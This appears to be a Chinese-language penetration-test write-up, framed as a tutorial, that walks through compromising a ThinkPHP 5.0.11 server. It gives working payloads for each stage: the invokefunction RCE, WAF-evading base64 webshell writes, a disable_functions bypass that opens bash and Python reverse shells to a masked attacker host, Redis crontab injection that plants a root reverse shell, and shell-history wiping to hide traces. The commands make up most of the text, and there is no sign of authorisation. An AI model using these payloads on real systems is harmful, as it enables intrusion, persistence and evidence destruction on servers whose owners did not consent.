一次thinkphp渗透测试经历
字数 1185 2025-08-26 22:11:45

ThinkPHP 5.0.11 渗透测试实战教学文档

一、环境识别与漏洞确认

  1. 版本识别

    • 访问目标网站,通过报错信息确认使用的是ThinkPHP v5.0.11框架
    • 该版本存在已知的远程代码执行(RCE)漏洞
  2. 环境探测

    • 通过phpinfo()确认PHP版本为5.6.31
    • 检查发现系统禁用了许多危险函数,但mail()和putenv()未被禁用

二、漏洞利用

1. 初始RCE尝试

使用ThinkPHP 5.0.11的RCE漏洞POC:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

2. 绕过WAF写入Webshell

第一次尝试(失败)

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))
  • 12345.php: 文件名
  • 12<?php eval(@$_POST['a']);: 文件内容
  • 失败原因:WAF拦截了内容写入

成功绕过WAF的Webshell

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7))
  • 文件内容:ok.<?php a]($_POST[x]);;;

3. 写入更复杂的Webshell

使用curl命令通过已建立的Webshell写入冰蝎马:

curl -d "x=@file_put_contents('qwer.php',base64_decode(PD9waHA...))" https://xxxxxxxxxxxx/12584.php?a=assert

三、权限提升

1. 绕过disable_functions

利用未禁用的mail()和putenv()函数:

  1. 上传bypass_disablefunc.php和对应的.so文件
  2. 尝试反弹shell:
/bypass_disablefunc.php?cmd=bash+-i+>%26+/dev/tcp/xxxxxx/8989+0>%261&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so
  • 失败原因:bash命令中的&被当作连接符

成功方法:使用Python反弹shell

/bypass_disablefunc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxx",8989));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so

2. Redis提权

  1. 发现Redis服务

    • 探测到6379端口开放
    • 系统缺少redis-cli和nc工具
  2. 使用静态ncat连接

    wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat
    ./ncat 127.0.0.1 6379
    
  3. 通过crontab提权

    config set dir /var/spool/cron/
    config set dbfilename root
    set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxxxxx/1389 0>&1\n\n\n"
    save
    

3. 交互式shell获取

  1. 在哑shell中执行:

    python -c 'import pty; pty.spawn("/bin/bash")'
    
  2. 在攻击者VPS上执行:

    stty raw -echo
    fg
    
  3. 返回哑shell,执行:

    reset
    export SHELL=bash
    export TERM=xterm-256color
    stty rows 54 columns 104
    

四、痕迹清理

  1. 禁用history记录
    unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
    export HISTFILE=/dev/null
    export HISTSIZE=0
    export HISTFILESIZE=0
    

五、关键知识点总结

  1. ThinkPHP RCE漏洞利用

    • 利用路径/index/\think\app/invokefunction进行命令执行
    • 使用call_user_func_array调用危险函数
  2. WAF绕过技巧

    • 使用base64编码绕过内容检测
    • 使用非常规Webshell写法(如a]($_POST[x])
  3. disable_functions绕过

    • 利用mail()+putenv()组合
    • 使用预编译的.so文件进行绕过
  4. Redis提权要点

    • 通过修改Redis持久化目录和文件名实现crontab注入
    • 使用\n\n\n确保crontab条目被正确解析
  5. 交互式shell获取

    • Python的pty模块是获取交互式shell的有效方法
    • 需要正确设置终端环境变量
  6. 静态工具使用

    • 在受限环境中使用静态编译的工具(如ncat)
    • GitHub是获取这类工具的好来源

本教学文档详细记录了从漏洞发现到最终获取root权限的全过程,重点突出了各种绕过技术和权限提升方法,可作为类似环境渗透测试的参考指南。

ThinkPHP 5.0.11 渗透测试实战教学文档 一、环境识别与漏洞确认 版本识别 : 访问目标网站,通过报错信息确认使用的是ThinkPHP v5.0.11框架 该版本存在已知的远程代码执行(RCE)漏洞 环境探测 : 通过phpinfo()确认PHP版本为5.6.31 检查发现系统禁用了许多危险函数,但mail()和putenv()未被禁用 二、漏洞利用 1. 初始RCE尝试 使用ThinkPHP 5.0.11的RCE漏洞POC: 2. 绕过WAF写入Webshell 第一次尝试(失败) : 12345.php: 文件名 12<?php eval(@$_ POST[ 'a' ]);: 文件内容 失败原因:WAF拦截了内容写入 成功绕过WAF的Webshell : 文件内容: ok.<?php a]($_POST[x]);;; 3. 写入更复杂的Webshell 使用curl命令通过已建立的Webshell写入冰蝎马: 三、权限提升 1. 绕过disable_ functions 利用未禁用的mail()和putenv()函数: 上传bypass_ disablefunc.php和对应的.so文件 尝试反弹shell: 失败原因:bash命令中的&被当作连接符 成功方法 :使用Python反弹shell 2. Redis提权 发现Redis服务 : 探测到6379端口开放 系统缺少redis-cli和nc工具 使用静态ncat连接 : 通过crontab提权 : 3. 交互式shell获取 在哑shell中执行: 在攻击者VPS上执行: 返回哑shell,执行: 四、痕迹清理 禁用history记录 : 五、关键知识点总结 ThinkPHP RCE漏洞利用 : 利用路径 /index/\think\app/invokefunction 进行命令执行 使用call_ user_ func_ array调用危险函数 WAF绕过技巧 : 使用base64编码绕过内容检测 使用非常规Webshell写法(如 a]($_POST[x]) ) disable_ functions绕过 : 利用mail()+putenv()组合 使用预编译的.so文件进行绕过 Redis提权要点 : 通过修改Redis持久化目录和文件名实现crontab注入 使用 \n\n\n 确保crontab条目被正确解析 交互式shell获取 : Python的pty模块是获取交互式shell的有效方法 需要正确设置终端环境变量 静态工具使用 : 在受限环境中使用静态编译的工具(如ncat) GitHub是获取这类工具的好来源 本教学文档详细记录了从漏洞发现到最终获取root权限的全过程,重点突出了各种绕过技术和权限提升方法,可作为类似环境渗透测试的参考指南。